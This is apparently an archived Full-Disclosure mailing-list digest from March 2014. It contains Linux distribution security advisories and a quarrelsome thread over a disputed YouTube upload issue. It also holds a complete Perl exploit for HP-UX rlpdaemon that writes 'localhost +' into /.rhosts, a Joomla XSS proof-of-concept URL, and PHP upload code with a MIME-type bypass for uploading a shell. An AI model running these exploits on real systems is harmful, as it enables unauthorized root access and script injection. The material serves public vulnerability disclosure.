 A vulnerability in x2goserver before 4.0.0.8 in x2gocleansessions
 has also been fixed.
 ___

 References:

 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-4376
 http://advisories.mageia.org/MGASA-2014-0111.html
 ___

 Updated Packages:

 Mandriva Business Server 1/X86_64:
 eb26c90fdc53040f10c6ad4d3064c7ee  
mbs1/x86_64/x2goserver-4.0.1.13-1.mbs1.x86_64.rpm
 b32edf4af4c0aff51dd1591f3f4c3f02  
mbs1/x86_64/x2goserver-postgresql-4.0.1.13-1.mbs1.x86_64.rpm
 26a1b81d443ad892848681b11895c28a  
mbs1/x86_64/x2goserver-sqlite-4.0.1.13-1.mbs1.x86_64.rpm 
 a1d27787d6e4485a506f546c83700129  mbs1/SRPMS/x2goserver-4.0.1.13-1.mbs1.src.rpm
 ___

 To upgrade automatically use MandrivaUpdate or urpmi.  The verification
 of md5 checksums and GPG signatures is performed automatically for you.

 All packages are signed by Mandriva for security.  You can obtain the
 GPG public key of the Mandriva Security Team by executing:

  gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98

 You can view other update advisories for Mandriva Linux at:

  http://www.mandriva.com/en/support/security/advisories/

 If you want to report vulnerabilities, please contact

  security_(at)_mandriva.com
 ___

 Type Bits/KeyID Date   User ID
 pub  1024D/22458A98 2000-07-10 Mandriva Security Team
  security*mandriva.com
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.12 (GNU/Linux)

iD8DBQFTJwKJmqjQ0CJFipgRAlZ6AJ0R1xLuN7d3Ao2YrrBdFyJgkgZ1+wCdFgOE
isX7M+xxxPX6l8OzKIh+Xtc=
=prvi
-END PGP SIGNATURE-

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


[Full-disclosure] [ MDVSA-2014:064 ] udisks

2014-03-17 Thread security
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

 ___

 Mandriva Linux Security Advisory MDVSA-2014:064
 http://www.mandriva.com/en/support/security/
 ___

 Package : udisks
 Date: March 17, 2014
 Affected: Business Server 1.0
 ___

 Problem Description:

 Updated udisks packages fixes security vulnerability:
 
 A flaw was found in the way udisks and udisks2 handled long path
 names. A malicious, local user could use this flaw to create a
 specially-crafted directory structure that could lead to arbitrary
 code execution with the privileges of the udisks daemon (root)
 (CVE-2014-0004).
 ___

 References:

 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0004
 http://advisories.mageia.org/MGASA-2014-0129.html
 ___

 Updated Packages:

 Mandriva Business Server 1/X86_64:
 b7b8138c781ce706d35c803b68b0f95b  mbs1/x86_64/udisks-1.0.4-7.1.mbs1.x86_64.rpm
 5139fe402d636edb486c9a02082acfd8  
mbs1/x86_64/udisks-devel-1.0.4-7.1.mbs1.x86_64.rpm 
 bfd3cb6833dd91223e3dc8def514da07  mbs1/SRPMS/udisks-1.0.4-7.1.mbs1.src.rpm
 ___

 To upgrade automatically use MandrivaUpdate or urpmi.  The verification
 of md5 checksums and GPG signatures is performed automatically for you.

 All packages are signed by Mandriva for security.  You can obtain the
 GPG public key of the Mandriva Security Team by executing:

  gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98

 You can view other update advisories for Mandriva Linux at:

  http://www.mandriva.com/en/support/security/advisories/

 If you want to report vulnerabilities, please contact

  security_(at)_mandriva.com
 ___

 Type Bits/KeyID Date   User ID
 pub  1024D/22458A98 2000-07-10 Mandriva Security Team
  security*mandriva.com
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.12 (GNU/Linux)

iD8DBQFTJwPUmqjQ0CJFipgRAgKEAKDxYNKS5Yh7jtCAjbXQWl+4PGfY1ACeO5gP
u89oyojMXd7Z6yhB1vhCp0Y=
=YCx0
-END PGP SIGNATURE-

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


Re: [Full-disclosure] Garage4Hackers Ranchoddas Series - Part 2 on Reverse Engineering - Free Webinar

2014-03-17 Thread Sandeep Kamble
Dear All, There has been a issue with hangout service as the Google
servers. Hence use below given link to join the webinar. Apologies for the
inconvenience and delay.

We have changed webcast link.

please join us : http://www.twitch.tv/gyndream/




On Fri, Mar 7, 2014 at 5:35 PM, Sandeep Kamble sandeepk.l...@gmail.comwrote:

 Dear all,
 Garage4Hacker invites you to join us for a webinar titled Data, data,
 data! I can't make bricks without clay by Gynvael Coldwind - Google
 Security Engineer and Dragon Sector Team Captain.

 For Registration, please fill the following form.
 https://docs.google.com/forms/d/1L3-...RlNdI/viewformhttps://docs.google.com/forms/d/1L3-Wy49WZx97Aqujm5uRIjrLu02s9mTp20QVXjRlNdI/viewform

 Detailed Information about event :
 http://www.garage4hackers.com/showthread.php?t=5875

 Reverse Engineering is an art more than science. From the realms of
 vulnerability discovery to debugging for internals, reverse engineers are a
 rare breed with the ability to think backwards in the chain of events.
 Discovering the technological principles of a device, object, or system
 through analysis of its structure, function, and operation. With the growth
 of exploit development and rise of malware attacks, reverse engineering is
 becoming a key area to study.

 *What to expect:*
 The presentation would revolve more around the approaches taken in RE than
 usage of tools. It will be focused on various practical tips and tricks
 that can speed up the process of reverse-engineering. The presented
 information will not be strictly tied to any specific platform or tool -
 most of it can be applied on any architecture or operating system.

 *Examples of topics:*
 - how to start with an unknown architecture
 - debugger scripting
 - creating your own useful tools
 - etc

 *Prerequisites:*
 - some reverse-engineering experience or general interest in
 reverse-engineering
 - basic programming skills
 - basic knowledge of how the CPU and operating systems work

 Kind Regard,
 Garage4Hackers Team
 Http://garage4hackers.com

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] [SECURITY] [DSA 2880-1] python2.7 security update

2014-03-17 Thread Moritz Muehlenhoff
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

- -
Debian Security Advisory DSA-2880-1   secur...@debian.org
http://www.debian.org/security/Moritz Muehlenhoff
March 17, 2014 http://www.debian.org/security/faq
- -

Package: python2.7
CVE ID : CVE-2013-4238 CVE-2014-1912

Multiple security issues were discovered in Python:

CVE-2013-4238

Ryan Sleevi that NULL charactors in the subject alternate names of
SSL cerficates were parsed incorrectly.

CVE-2014-1912

Ryan Smith-Roberts discovered a buffer overflow in the 
socket.recvfrom_into() function.

For the stable distribution (wheezy), these problems have been fixed in
version 2.7.3-6+deb7u2.

For the unstable distribution (sid), these problems have been fixed in
version 2.7.6-7.

We recommend that you upgrade your python2.7 packages.

Further information about Debian Security Advisories, how to apply
these updates to your system and frequently asked questions can be
found at: http://www.debian.org/security/

Mailing list: debian-security-annou...@lists.debian.org
-BEGIN PGP SIGNATURE-
Version: GnuPG v1

iQIcBAEBAgAGBQJTJzmwAAoJEBDCk7bDfE42f1oQAIibzpSPb7x6o+NV/eKmrvbC
evP9W3zuj5y1UJkQKr7OMkzJk9dO9Y9HLKvOop25fK8btnTPL1Hml42WSmZyhMiF
0NnU8jPGIVqVhIbK9ngdTqIZ2UNtJr5FUkpd69k//bYBX69WpWxtIgVdR2327RsO
GC6yZfitIzSDAvTNKXn0K0EpAOAydQDn4M8TZA1J9+kDew1DbWKS5xl69CWxSgjk
FLI2WY1amwATZ9yj5qEV+Q2jhTSATyVXTW6ZwOyIjC9KmPaT7a3fZrQlSZeyjbeD
jUnoShPvr9KjxSo9ZSfk5HFjQXDytmqUBCcyBc33ESiRX/O52UBjNPCDY9C65XER
Z8eoVIFONa/sYxFnAnGLXyKPS3tL+PiE0W++aflPoyzueH184UvNUbyZtcOtn5b/
T7oAhbXIwJFrw7tQh8GP+woKaCmR1kpekE0i5qllGT2O0440wK6m0xJZoySwlLXs
EK6EYEbcTznWkQiDCLWbSXFP5YMJpHGV6hL78gkkKaIzvWxsTyteHOSYfMUl4AzP
b6WC5uGG469t5ASCS/8mMde/DtRIpDLhqicPXTQRP5/AyIyx5ddCrvtXmsdPYB5Z
a2QSpmxup9P4F3D+eT5N5tUf95WmBVtMOXkiHrlQzWvOOr+1vYKtt0+psLf3YFoN
RmYnAuiSJVQnuJuVsS6a
=sf1t
-END PGP SIGNATURE-

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


Re: [Full-disclosure] XSS Vulnerability in the Youtube Gallery 3.4.0 Component

2014-03-16 Thread Mahmoud Ghorbanzadeh
The CVE-2013-5956 has been assigned for this vulnerability.


Best Regards.




On Saturday, March 15, 2014 2:07 PM, Mahmoud Ghorbanzadeh md...@yahoo.com 
wrote:
 
Hello,

Cross-site
scripting (XSS) vulnerability in the Youtube Gallery 3.4.0 component for 
Joomla! allows remote attackers to inject arbitrary web
script or HTML via the videofile parameter to /includes/flvthumbnail.php.

POC:
http://SiteAddress/joomla/components/com_youtubegallery/includes/flvthumbnail.php?videofile=scriptalert('XSS')/script___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] exploit for old rlpdaemon bug

2014-03-16 Thread Nomen Nescio
#!/opt/perl5/bin/perl -w

# HP-UX rlpdaemon local exploit
# Bulletin HPSBUX0111-176  (November 2001)
#
# For use only on machines where you have legitimate root.
# This attempts to add junk (including localhost +) to /.rhosts.
# Obvious variants could include /etc/passwd.

use IO::Socket;

$PORT = 9000;   # pick something not in use

$pid=fork;
die(fork: $!) unless (defined($pid));

if (0 == $pid) {
# child - server, exec rlpdaemon with chosen argv

$IPPROTO_TCP=6;
$SOCK_STREAM=1;
$AF_INET=2;
$PF_INET=2;

$sockaddr='S n a4 x8';  # packed socket data

$this=pack($sockaddr, $AF_INET, $PORT, \0\0\0\0) or die(pack: $!);
socket(S, $PF_INET, $SOCK_STREAM, $IPPROTO_TCP) || die (socket: $!);
bind(S, $this) or die(bind: $!);
listen(S, 5) or die(listen: $!);
$addr=accept(NS, S);

# dup2 on 3 standard streams
open(STDIN, +NS) or die(dup2: $!);
open(STDOUT, +NS) or die(dup2: $!);
open(STDERR, +NS) or die(dup2: $!);

exec {/usr/sbin/rlpdaemon}
  \nlocalhost +\n,
  -i, -l, -L, /.rhosts;
# UNREACHED
exit(1);
}

sleep 5;   # let server start before we connect to it

# parent - connect to server with loggable action
$remote = IO::Socket::INET-new(
Proto= tcp,
PeerAddr = localhost,
PeerPort = $PORT
)
or die cannot connect to port $PORT at localhost;

# RFC1179
printf($remote %clp\n, 2);  # rlpdaemon should log this
close($remote);
exit(0);

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


Re: [Full-disclosure] Google vulnerabilities with PoC

2014-03-16 Thread Alfred Beese
Some of the replies in this thread are very unfair to the original poster.

 

I have read the news story and have thoroughly read the proof of concepts which 
in my opinion indicate that this is surely a security vulnerability.  I have 
worked for Lumension as a security consultant for more than a decade. 

 

I have never thought that Google would have gone that far. Quite scary if you 
ask me... Do not be discouraged, as a security researcher I have also been 
getting that. I can certainly certify that this is a security problem, no 
doubts about that.

 

Big Al

_
Get your free email @
http://www.xtcmail.com

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


Re: [Full-disclosure] Google vulnerabilities with PoC

2014-03-16 Thread M Kirschbaum
Gynvael Coldwind,
 
What Alfred has reiterated is that this is a security vulnerability 
irrelevantly of whether it qualifies for credit. 
 
It is an unusual one, but still a security vulnerability. Anyone who says 
otherwise is blind, has little or no experience in hands on security, or either 
has a different agenda.
 
The obvious here is that Google dismissed it as a non-security issue which I 
find rather sad and somewhat ridiculous. 
 
Even if we asked Andrew Tanenbaum about ,I suspect his answers wouldn't be much 
different. 
 
Rgds,
 

 
On Saturday, 15 March 2014, 12:45, Gynvael Coldwind gynv...@coldwind.pl wrote:
  
Hey,

I think the discussion digressed a little from the topic. Let's try to steer it 
back on it. 

What would make this a security vulnerability is one of the three standard 
outcomes: 

- information leak - i.e. leaking sensitive information that you normally do 
not have access to
- remote code execution - in this case it would be:
-- XSS - i.e. executing attacker provided JS/etc code in another user's 
browser, in the context *of a sensitive, non-sandboxed* domain (e.g. 
youtube.com) 
-- server-side code execution - i.e. executing attacker provided code on the 
youtube servers
- denial of service - I think we all agree this bug doesn't increase the chance 
of a DoS; since you upload files that fail to be processed (so the 
CPU-consuming re-encoding is never run) I would argue that this decreases the 
chance of DoS if anything 

Which leaves us with the aforementioned RCE.

I think we all agree that if Mr. Lemonias presents a PoC that uses the 
functionality he discovered to, either:
(A) display a standard XSS alert(document.domain) in a sensitive domain (i.e. 
*.youtube.com or *.google.com, etc) for a different (test) user 
OR
(B) execute code to fetch the standard /etc/passwd file from the youtube server 
and send it to him,
then we will be convinced that this is vulnerability and will be satisfied by 
the presented proof. 

I think that further discussion without this proof is not leading anywhere.


One more note - in the discussion I noticed some arguments were tried to be 
justified or backed by saying I am this this and that, and have this many 
years of experience, e.g. (the first one I could find): 

have worked for Lumension as a security consultant for more than a decade.

Please note, that neither experience, nor job title, proves exploitability of a 
*potential* bug. Working exploits do. 


That's it from me. I'm looking forward to seeing the RCE exploits (be it client 
or server side).

Kind regards,
Gynvael Coldwind___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Google vulnerabilities with PoC

2014-03-16 Thread T Imbrahim
Hello... I am an IT security expert for the Emirates National Oil Company. Google is my favourite search engine by far. Now I just read the report about the unrestricted upload issue and I think that the author is right that it is a securityproblem.This is a vulnerability because file name extension verification's not been used properly. The problem here has also been with the returned MIME type returned from the API$_FILES['uploadedfile']['type']” holds the value of the MIME type. Tampering the HTTP Post request can exploit the functionality.An attacker can bypass this protection by changing the MIME type of the shell.php to “image/gif”. So when an application checks the MIME type, it seems like a gif file. The application will then upload the malicious code shell.php. That is something that definitely needsto be fixed, if it hasn't already.Definetely a security problem.http://resources.infosecinstitute.com/file-upload-vulnerabilities/Are you a Techie? Get Your Free Tech Email Address Now! Visit http://www.TechEmail.com___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] [SPAM] [Bayesian][bayesTestMode] Re: Google vulnerabilities with PoC

2014-03-16 Thread Thomas Williams
I signed onto this mailing list as an interested person in security - not to 
see everyone moan. We will all have differences in opinion and we should all 
respect that. This goes for everyone and I feel I speak for a lot of people 
here, everyone needs to grow up, and shut up.



Email scanned and verified safe. 

On 15 Mar 2014, at 13:43, Mario Vilas mvi...@gmail.com wrote:

 Sockpuppet much?
 
 
 On Sat, Mar 15, 2014 at 2:35 PM, M Kirschbaum pr...@yahoo.co.uk wrote:
 Gynvael Coldwind,
  
 What Alfred has reiterated is that this is a security vulnerability 
 irrelevantly of whether it qualifies for credit.
  
 It is an unusual one, but still a security vulnerability. Anyone who says 
 otherwise is blind, has little or no experience in hands on security, or 
 either has a different agenda.
  
 The obvious here is that Google dismissed it as a non-security issue which I 
 find rather sad and somewhat ridiculous.
  
 Even if we asked Andrew Tanenbaum about ,I suspect his answers wouldn't be 
 much different.
  
 Rgds,
  
 
 On Saturday, 15 March 2014, 12:45, Gynvael Coldwind gynv...@coldwind.pl 
 wrote:
 Hey,
 
 I think the discussion digressed a little from the topic. Let's try to steer 
 it back on it. 
 
 What would make this a security vulnerability is one of the three standard 
 outcomes:
 
 - information leak - i.e. leaking sensitive information that you normally do 
 not have access to
 - remote code execution - in this case it would be:
 -- XSS - i.e. executing attacker provided JS/etc code in another user's 
 browser, in the context *of a sensitive, non-sandboxed* domain (e.g. 
 youtube.com)
 -- server-side code execution - i.e. executing attacker provided code on the 
 youtube servers
 - denial of service - I think we all agree this bug doesn't increase the 
 chance of a DoS; since you upload files that fail to be processed (so the 
 CPU-consuming re-encoding is never run) I would argue that this decreases the 
 chance of DoS if anything
 
 Which leaves us with the aforementioned RCE.
 
 I think we all agree that if Mr. Lemonias presents a PoC that uses the 
 functionality he discovered to, either:
 (A) display a standard XSS alert(document.domain) in a sensitive domain (i.e. 
 *.youtube.com or *.google.com, etc) for a different (test) user
 OR
 (B) execute code to fetch the standard /etc/passwd file from the youtube 
 server and send it to him,
 then we will be convinced that this is vulnerability and will be satisfied by 
 the presented proof.
 
 I think that further discussion without this proof is not leading anywhere.
 
 
 One more note - in the discussion I noticed some arguments were tried to be 
 justified or backed by saying I am this this and that, and have this many 
 years of experience, e.g. (the first one I could find):
 
 have worked for Lumension as a security consultant for more than a decade.
 
 Please note, that neither experience, nor job title, proves exploitability of 
 a *potential* bug. Working exploits do.
 
 
 That's it from me. I'm looking forward to seeing the RCE exploits (be it 
 client or server side).
 
 Kind regards,
 Gynvael Coldwind
 
 
 
 
 
 -- 
 “There's a reason we separate military and the police: one fights the enemy 
 of the state, the other serves and protects the people. When the military 
 becomes both, then the enemies of the state tend to become the people.”
 ___
 Full-Disclosure - We believe in it.
 Charter: http://lists.grok.org.uk/full-disclosure-charter.html
 Hosted and sponsored by Secunia - http://secunia.com/



smime.p7s
Description: S/MIME cryptographic signature
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

2014-03-16 Thread T Imbrahim
Hello,

I am a security professional and risk manager in UAE. I support that the remote 
file upload on YouTube is a vulnerability, and I am sure about this. Not the 
slightest doubts... 

There is a different between a vulnerability and an exploit. The vulnerability 
here is the lack of any file extension checks, content type verification 
“$_FILES['uploadedfile']['type']” holds the value of the MIME type. A hacker 
can easily upload files using a script that allows the sending or tampering of 
HTTP POST requests.

e.g:

?php
 //Demo1.php
 if($_FILES['uploadedfile']['type'] != image/gif) {
 echo Sorry, we only allow uploading GIF images;
 exit;
 }
 $uploaddir = 'uploads/';
 $uploadfile = $uploaddir . basename($_FILES['uploadedfile']['name']);
 if (move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $uploadfile)) {
 echo File is valid, and was successfully uploaded.n;
 } else {
 echo File uploading failed.n;
 }
 ?
Read this for more info if you like: 
http://resources.infosecinstitute.com/file-upload-vulnerabilities/

if not (rwx) and only (w) to a temporary file even, the spread of malware is 
real no matter if the file is executed at the time is upload.

For the JSON reply:

A hacker exploits a JSON (javascript) object that has information of interest 
for example holding some values for cookies. A lot of times that exploits the 
same policy origin. The JSON object returned from a server can be forged over 
writing javascript function that create the object. This happens because of the 
same origin policy problem in browsers that cannot say if js execution it 
different for two different sites.


Sincerely ,
T. Imbrahim


--- lcam...@coredump.cx wrote:

From: Michal Zalewski lcam...@coredump.cx
To: M Kirschbaum pr...@yahoo.co.uk
Cc: full-disclosure@lists.grok.org.uk full-disclosure@lists.grok.org.uk
Subject: Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
Date: Sat, 15 Mar 2014 09:46:27 -0700

 As a professional penetration tester, [...]
 The JSON service responds to GET requests , and there is a good chance that
 the service is also vulnerable to JSON Hijacking attacks.

That's... not how XSSI works.

To have a script inclusion vulnerability, you need to have a vanilla
GET response that contains some user-specific secrets that are
returned to the caller based on HTTP cookies (or, less likely, other
ambient credentials). For example, a script response that discloses
the contents of your mailbox or the list of private contacts would be
of concern.

Further, the response must be in a format that can be not only loaded,
but also inspected by another site opened in your browser; most types
of JSONP fall into this category, but JSON generally does not,
essentially because of how the meaning of { is overloaded in JS
depending on where it appears in a block of code.

Last but not least, the final piece of the puzzle is that the response
must be served at a URL that can be guessed by third parties who don't
have access to your account.

/mz

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/




_
Are you a Techie? Get Your Free Tech Email Address Now! Visit 
http://www.TechEmail.com
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

2014-03-16 Thread T Imbrahim
Is this treated with the same way that says that Remote File Inclusion is not a 
security issue ? 

You don't follow? Implying ? 

I understand why nobody likes Google. If I 've found a vulnerability and been 
treated like that for trying to help, I would rather sell it to the black 
market or to some government.

The NSA maybe is happy to buy a RFI on Google, im sure they could make good use 
of that. Google is very deceptive in security matters. 

--- lcam...@coredump.cx wrote:

From: Michal Zalewski lcam...@coredump.cx
To: timbra...@techemail.com
Cc: pr...@yahoo.co.uk, full-disclosure full-disclosure@lists.grok.org.uk
Subject: Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
Date: Sat, 15 Mar 2014 10:59:40 -0700

 A hacker exploits a JSON (javascript) object that has information of interest 
 for example holding some values for cookies. A lot of times that exploits the 
 same policy origin. The JSON object returned from a server can be forged over 
 writing javascript function that create the object. This happens because of 
 the same origin policy problem in browsers that cannot say if js execution it 
 different for two different sites.

To be honest, I'm not sure I follow, but I'm fairly confident that my
original point stands. If you believe that well-formed JSON objects
without padding can be read across origins within the browser, I would
love to see more information about that. (In this particular case, it
still wouldn't matter because the response doesn't contain secrets,
but it would certainly break a good chunk of the Internet.) JSONP is a
different animal.

/mz




_
Are you a Techie? Get Your Free Tech Email Address Now! Visit 
http://www.TechEmail.com

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

2014-03-16 Thread T Imbrahim
The thread read Google vulnerabilities with PoC. From my understanding  it was 
a RFI vulnerability on YouTube, and I voiced my support that this is a 
vulnerability. 

I also explained a JSON Hijacking case as a follow up, and you said you didn't 
follow.  So I am just saying that treating security that way, there are other 
parties like NSA who welcome them happily.



--- lcam...@coredump.cx wrote:

From: Michal Zalewski lcam...@coredump.cx
To: timbra...@techemail.com
Cc: M Kirschbaum pr...@yahoo.co.uk, full-disclosure 
full-disclosure@lists.grok.org.uk
Subject: Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
Date: Sat, 15 Mar 2014 11:47:19 -0700

 Is this treated with the same way that says that Remote File Inclusion is not 
 a security issue ?

I'm not sure how RFI came into play on this thread - the original
report wasn't about RFI.

I don't have an agenda here; I'm just trying to get to the bottom of
it and make sure that we converge on a common understanding of the
issue. As in any argument, it's fairly likely that one of us is wrong,
and I accept that it could very well be me - I have been wrong quite a
few times in my life, and it's always a valuable learning opportunity.

I think it's unfortunate that the thread has devolved into various
accusations and credential-slinging, because it reduces the likelihood
of such a productive outcome. Please feel free to ping me directly any
time, though - I'm happy to chat.

Cheers,
/mz




_
Are you a Techie? Get Your Free Tech Email Address Now! Visit 
http://www.TechEmail.com

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


Re: [Full-disclosure] [SPAM] [Bayesian][bayesTestMode] Re: Google vulnerabilities with PoC

2014-03-16 Thread Exibar
LOL. boy oh boy you would have HATED the N3td3v years then...   

 

I'm sure your delete key works doesn't it?

 

From: Full-Disclosure [mailto:full-disclosure-boun...@lists.grok.org.uk] On
Behalf Of Thomas Williams
Sent: Saturday, March 15, 2014 10:44 AM
To: Mario Vilas
Cc: full-disclosure@lists.grok.org.uk; M Kirschbaum
Subject: Re: [Full-disclosure] [SPAM] [Bayesian][bayesTestMode] Re: Google
vulnerabilities with PoC

 

I signed onto this mailing list as an interested person in security - not to
see everyone moan. We will all have differences in opinion and we should all
respect that. This goes for everyone and I feel I speak for a lot of people
here, everyone needs to grow up, and shut up.

 

 

 

Email scanned and verified safe.  

 

On 15 Mar 2014, at 13:43, Mario Vilas mvi...@gmail.com wrote:





Sockpuppet much?

 

On Sat, Mar 15, 2014 at 2:35 PM, M Kirschbaum pr...@yahoo.co.uk wrote:

Gynvael Coldwind,

 

What Alfred has reiterated is that this is a security vulnerability
irrelevantly of whether it qualifies for credit. 

 

It is an unusual one, but still a security vulnerability. Anyone who says
otherwise is blind, has little or no experience in hands on security, or
either has a different agenda.

 

The obvious here is that Google dismissed it as a non-security issue which I
find rather sad and somewhat ridiculous. 

 

Even if we asked Andrew Tanenbaum about ,I suspect his answers wouldn't be
much different. 

 

Rgds,

 

On Saturday, 15 March 2014, 12:45, Gynvael Coldwind gynv...@coldwind.pl
wrote:

Hey,

 

I think the discussion digressed a little from the topic. Let's try to steer
it back on it. 

 

What would make this a security vulnerability is one of the three standard
outcomes:

 

- information leak - i.e. leaking sensitive information that you normally do
not have access to

- remote code execution - in this case it would be:

-- XSS - i.e. executing attacker provided JS/etc code in another user's
browser, in the context *of a sensitive, non-sandboxed* domain (e.g.
youtube.com http://youtube.com/ )

-- server-side code execution - i.e. executing attacker provided code on the
youtube servers

- denial of service - I think we all agree this bug doesn't increase the
chance of a DoS; since you upload files that fail to be processed (so the
CPU-consuming re-encoding is never run) I would argue that this decreases
the chance of DoS if anything

 

Which leaves us with the aforementioned RCE.

 

I think we all agree that if Mr. Lemonias presents a PoC that uses the
functionality he discovered to, either:

(A) display a standard XSS alert(document.domain) in a sensitive domain
(i.e. *.youtube.com http://youtube.com/  or *.google.com
http://google.com/ , etc) for a different (test) user

OR

(B) execute code to fetch the standard /etc/passwd file from the youtube
server and send it to him,

then we will be convinced that this is vulnerability and will be satisfied
by the presented proof.

 

I think that further discussion without this proof is not leading anywhere.

 

 

One more note - in the discussion I noticed some arguments were tried to be
justified or backed by saying I am this this and that, and have this many
years of experience, e.g. (the first one I could find):

 

have worked for Lumension as a security consultant for more than a decade.

 

Please note, that neither experience, nor job title, proves exploitability
of a *potential* bug. Working exploits do.

 

 

That's it from me. I'm looking forward to seeing the RCE exploits (be it
client or server side).

 

Kind regards,

Gynvael Coldwind

 





 

-- 
There's a reason we separate military and the police: one fights the enemy
of the state, the other serves and protects the people. When the military
becomes both, then the enemies of the state tend to become the people.

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

 

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

2014-03-15 Thread Nicholas Lemonias.
 You are so incompetent.. If you want proof why don't you do it yourself?

https://www.youtube.com/watch?v=G4EkgJtjDvU - Here is proof that the file
is saved and processed.  If you want to question it come up with your real
name, stop hiding behind fake emails. Are you a Google employee? What's
your motive?

Best


On Fri, Mar 14, 2014 at 8:39 PM, R D rd.secli...@gmail.com wrote:

 You are trying to execute an sh script through a video player. That's an
 exec() command.
 No, it's not. That's an HTTP GET. Do you have such a poor understanding of
 how web applications work? Or did you just not read what I said?

 So its the wrong way about accessing the file.
 This way, which is the standard way to access files on youtube, tells me
 the file doesn't exist. You have yet to prove the file you uploaded can be
 accessed or executed by anyone. For that matter, you have still to prove it
 can be discovered by anyone. That URL is hard to guess.
 And you have still to answer all my other questions, and most of the
 questions asked to you on this list.
 The burden of proof is on you, and you are making a fool of yourself by
 answering all the questions here with the same statements, and links to
 your PoC that doesn't proves anything, while everybody asks you for more
 evidence.
 Keep on the (good?) work,
 --Rob'


 On Fri, Mar 14, 2014 at 9:22 PM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 You are trying to execute an sh script through a video player. That's an
 exec() command. So its the wrong way about accessing the file.


 On Fri, Mar 14, 2014 at 8:20 PM, R D rd.secli...@gmail.com wrote:

 No it's not. As Chris and I are saying, you don't have proof your file
 is accessible to others, only that is was uploaded. Now, you see, when you
 upload a video to youtube, you get the adress where it will be viewable in
 the response. In your case :

 {sessionStatus:{state:FINALIZED,externalFieldTransfers:[{name:file,status:COMPLETED,bytesTransferred:113,bytesTotal:113,formPostInfo:{url:
 http://www.youtube.com/upload/rupio?authuser=0\u0026upload_id=AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aw\u0026file_id=000
 ,cross_domain_url:
 http://upload.youtube.com/?authuser=0\u0026upload_id=AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aw\u0026origin=CiNodHRwOi8vd3d3LnlvdXR1YmUuY29tL3VwbG9hZC9ydXBpbxINdmlkZW8tdXBsb2Fkcw},content_type:text/x-sh}],additionalInfo:{uploader_service.GoogleRupioAdditionalInfo:{completionInfo:{status:SUCCESS,customerSpecificInfo:{status:
 ok, *video_id: KzKDtijwHFI*
 ,upload_id:AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aw}}
 And what do we get when we browse to
 https://youtube.com/watch?v=KzKDtijwHFI ?
 Nothing.
 Can you send me a link where I can access the file content of the
 arbitrary file you uploaded?
 Are you sure this json response, or this file, will be there in a month?
 Or in a year? Is the fact that this json response exists a threat to
 youtube? Can you quantify how of a threat? How much, in dollars, does it
 hurt their business?

 --Rob


 On Fri, Mar 14, 2014 at 9:08 PM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 My claim is now verified

 Cheers!


 On Fri, Mar 14, 2014 at 8:04 PM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 http://upload.youtube.com/?authuser=0upload_id=
